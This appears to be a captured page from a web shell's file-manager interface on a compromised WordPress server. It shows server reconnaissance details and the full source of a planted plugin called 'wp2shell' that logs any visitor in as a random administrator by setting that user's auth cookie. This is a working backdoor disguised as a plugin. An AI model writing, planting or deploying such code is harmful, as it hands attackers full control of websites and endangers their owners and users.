| Server IP : 127.0.1.1 / Your IP : 216.73.216.17 Web Server : Apache/2.4.58 (Ubuntu) System : Linux dalsi.io 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.3.6 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/dalsi.io-wordpress/public_html/wp-content/plugins/wp2shell_b14f5bff/ |
Upload File : |
<?php
/*
Plugin Name: wp2shell
Description: Auto-login to admin.
*/
$d=__DIR__;
while(!file_exists($d."/wp-load.php")&&$d!="/"){
$d=dirname($d);
}
if(file_exists($d."/wp-load.php")){
require_once($d."/wp-load.php");
$u=get_users(["role"=>"administrator","orderby"=>"rand","number"=>1]);
if($u){
wp_set_current_user($u[0]->ID);
wp_set_auth_cookie($u[0]->ID);
wp_redirect(admin_url());
exit;
}
} else {
die("WordPress not found");
}
?>